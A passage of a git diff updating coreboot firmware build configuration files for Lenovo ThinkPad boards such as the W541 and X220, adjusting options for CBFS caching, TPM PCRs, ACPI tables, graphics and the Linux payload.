CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -385,9 +392,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -397,6 +405,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -422,8 +431,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -444,10 +452,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -458,21 +462,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -489,9 +490,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -502,6 +506,7 @@ CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -536,7 +541,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -559,6 +569,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -604,6 +617,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -619,13 +633,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -650,6 +663,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -663,13 +680,13 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index 675b54fb5..fe84f97ed 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -65,6 +66,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -78,7 +80,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -96,7 +100,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -121,7 +124,6 @@ CONFIG_MAX_CPUS=8 # CONFIG_ONBOARD_VGA_IS_PRIMARY is not set CONFIG_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="w541" CONFIG_OVERRIDE_DEVICETREE="" # CONFIG_VGA_BIOS is not set @@ -133,13 +135,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xff7c0000 CONFIG_DCACHE_RAM_SIZE=0x10000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x2000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -152,6 +154,10 @@ CONFIG_GBE_BIN_PATH="@BLOB_DIR@/w541/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 # CONFIG_ENABLE_DDR_2X_REFRESH is not set CONFIG_PCIEXP_AER=y +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad W541" CONFIG_HAVE_IFD_BIN=y # CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set @@ -196,9 +202,13 @@ CONFIG_PS2K_EISAID="LEN0071" CONFIG_PS2M_EISAID="LEN004A" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="DP3" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_L1_SUB_STATE=y CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -244,12 +254,11 @@ CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_EHCI_BAR=0xe8000000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 @@ -258,16 +267,16 @@ CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HAVE_MRC=y CONFIG_MRC_FILE="@BLOB_DIR@/haswell/mrc.bin" CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x30000 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_DISABLE_ME_PCI=y CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=6 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -281,7 +290,6 @@ CONFIG_SET_MSR_AESNI_LOCK_BIT=y CONFIG_CPU_INTEL_COMMON_TIMEBASE=y CONFIG_CPU_INTEL_COMMON_VOLTAGE=y CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y CONFIG_PARALLEL_MP=y CONFIG_XAPIC_ONLY=y # CONFIG_X2APIC_ONLY is not set @@ -290,12 +298,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -310,12 +317,12 @@ CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y # CONFIG_NORTHBRIDGE_INTEL_HASWELL=y # CONFIG_USE_NATIVE_RAMINIT is not set +# CONFIG_USE_BROADWELL_MRC is not set CONFIG_HASWELL_HIDE_PEG_FROM_MRC=y # # Southbridge # -CONFIG_SOUTH_BRIDGE_OPTIONS=y # CONFIG_PCIEXP_HOTPLUG is not set CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y CONFIG_SOUTHBRIDGE_INTEL_LYNXPOINT=y @@ -332,7 +339,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -380,8 +386,10 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -391,6 +399,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -416,8 +425,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -435,10 +443,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -458,11 +462,9 @@ CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_HAVE_EM100PRO_SPI_CONSOLE_SUPPORT=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set @@ -479,11 +481,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_DDI=y -# CONFIG_INTEL_INT15 is not set CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Haswell" CONFIG_GFX_GMA_PCH="Lynx_Point" @@ -493,6 +496,7 @@ CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set @@ -526,7 +530,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -550,6 +559,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -595,6 +607,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # System tables # CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -610,13 +623,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -641,6 +653,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -652,7 +668,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set @@ -660,6 +675,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index ab43ccf3d..8527c866c 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -64,6 +65,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -77,7 +79,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -95,7 +99,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -121,7 +124,6 @@ CONFIG_MAX_CPUS=8 # CONFIG_ONBOARD_VGA_IS_PRIMARY is not set CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="x220" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set @@ -134,14 +136,14 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_VBOOT_SLOTS_RW_A=y CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -152,6 +154,10 @@ CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx20/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx20/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx20/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X220" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -198,9 +204,12 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0020" CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -245,27 +254,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -286,12 +295,11 @@ 